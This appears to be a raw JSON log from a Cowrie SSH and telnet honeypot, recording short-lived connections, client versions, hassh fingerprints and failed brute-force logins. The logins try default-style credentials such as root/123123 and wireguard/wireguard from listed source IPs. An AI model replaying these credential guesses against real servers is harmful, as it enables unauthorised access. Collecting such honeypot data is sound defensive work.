{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:50.625262Z","src_ip":"45.137.172.116","session":"446bf76d77ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:50.998757Z","src_ip":"103.118.29.129","session":"aff122bd2eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"wireguard","message":"login attempt [wireguard/wireguard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:51.045054Z","src_ip":"45.137.172.116","session":"446bf76d77ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:52.144941Z","src_ip":"45.137.172.116","session":"446bf76d77ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":53336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8375da3b5be","protocol":"ssh","message":"New connection: 178.20.210.186:53336 (10.17.0.5:22) [session: c8375da3b5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.248805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.257415Z","src_ip":"178.20.210.186","session":"c8375da3b5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.349040Z","src_ip":"178.20.210.186","session":"c8375da3b5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.212.226.17","src_port":49871,"dst_ip":"10.17.0.5","dst_port":22,"session":"16bd2d9e516c","protocol":"ssh","message":"New connection: 125.212.226.17:49871 (10.17.0.5:22) [session: 16bd2d9e516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.431248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.435684Z","src_ip":"125.212.226.17","session":"16bd2d9e516c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.689426Z","src_ip":"125.212.226.17","session":"16bd2d9e516c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111","message":"login attempt [root/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:53.782210Z","src_ip":"178.20.210.186","session":"c8375da3b5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:54.455442Z","src_ip":"125.212.226.17","session":"16bd2d9e516c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:54.888202Z","src_ip":"178.20.210.186","session":"c8375da3b5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:55.712972Z","src_ip":"125.212.226.17","session":"16bd2d9e516c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":49250,"dst_ip":"159.203.135.109","dst_port":22,"session":"313f04ec3d84","protocol":"ssh","message":"New connection: 43.242.203.160:49250 (159.203.135.109:22) [session: 313f04ec3d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:13.693443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:13.698302Z","src_ip":"43.242.203.160","session":"313f04ec3d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:13.984629Z","src_ip":"43.242.203.160","session":"313f04ec3d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123a123b","message":"login attempt [root/123a123b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:14.994900Z","src_ip":"43.242.203.160","session":"313f04ec3d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:16.265207Z","src_ip":"43.242.203.160","session":"313f04ec3d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":48770,"dst_ip":"10.17.0.5","dst_port":22,"session":"82d4c7a96558","protocol":"ssh","message":"New connection: 69.48.205.231:48770 (10.17.0.5:22) [session: 82d4c7a96558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:21.671743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:21.676429Z","src_ip":"69.48.205.231","session":"82d4c7a96558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:21.717153Z","src_ip":"69.48.205.231","session":"82d4c7a96558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:21.913713Z","src_ip":"69.48.205.231","session":"82d4c7a96558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:22.956660Z","src_ip":"69.48.205.231","session":"82d4c7a96558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.35.242.28","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f84370d18dc","protocol":"telnet","message":"New connection: 191.35.242.28:55782 (10.17.0.5:23) [session: 1f84370d18dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:41.994641Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"45dc08684119","protocol":"ssh","message":"New connection: 202.51.214.99:54660 (10.17.0.5:22) [session: 45dc08684119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:52.297950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:52.304925Z","src_ip":"202.51.214.99","session":"45dc08684119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:52.542824Z","src_ip":"202.51.214.99","session":"45dc08684119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123123","message":"login attempt [root/Asd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:53.531679Z","src_ip":"202.51.214.99","session":"45dc08684119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:54.773576Z","src_ip":"202.51.214.99","session":"45dc08684119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.268580675125122,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:55.263092Z","src_ip":"191.35.242.28","session":"1f84370d18dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":34528,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48d2d40725a","protocol":"ssh","message":"New connection: 45.137.172.116:34528 (10.17.0.5:22) [session: f48d2d40725a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.096993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.102142Z","src_ip":"45.137.172.116","session":"f48d2d40725a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.198407Z","src_ip":"45.137.172.116","session":"f48d2d40725a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.616220Z","src_ip":"45.137.172.116","session":"f48d2d40725a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":32870,"dst_ip":"159.203.135.109","dst_port":22,"session":"49596a0ee7a1","protocol":"ssh","message":"New connection: 43.242.203.160:32870 (159.203.135.109:22) [session: 49596a0ee7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.688365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.697093Z","src_ip":"43.242.203.160","session":"49596a0ee7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:57.968038Z","src_ip":"43.242.203.160","session":"49596a0ee7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:58.714577Z","src_ip":"45.137.172.116","session":"f48d2d40725a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linuxpassword","message":"login attempt [root/linuxpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:15:59.023091Z","src_ip":"43.242.203.160","session":"49596a0ee7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:00.295438Z","src_ip":"43.242.203.160","session":"49596a0ee7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":37286,"dst_ip":"10.17.0.5","dst_port":22,"session":"8982e91d2635","protocol":"ssh","message":"New connection: 103.118.29.129:37286 (10.17.0.5:22) [session: 8982e91d2635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:09.923148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:09.928006Z","src_ip":"103.118.29.129","session":"8982e91d2635","protocol":"ssh"}
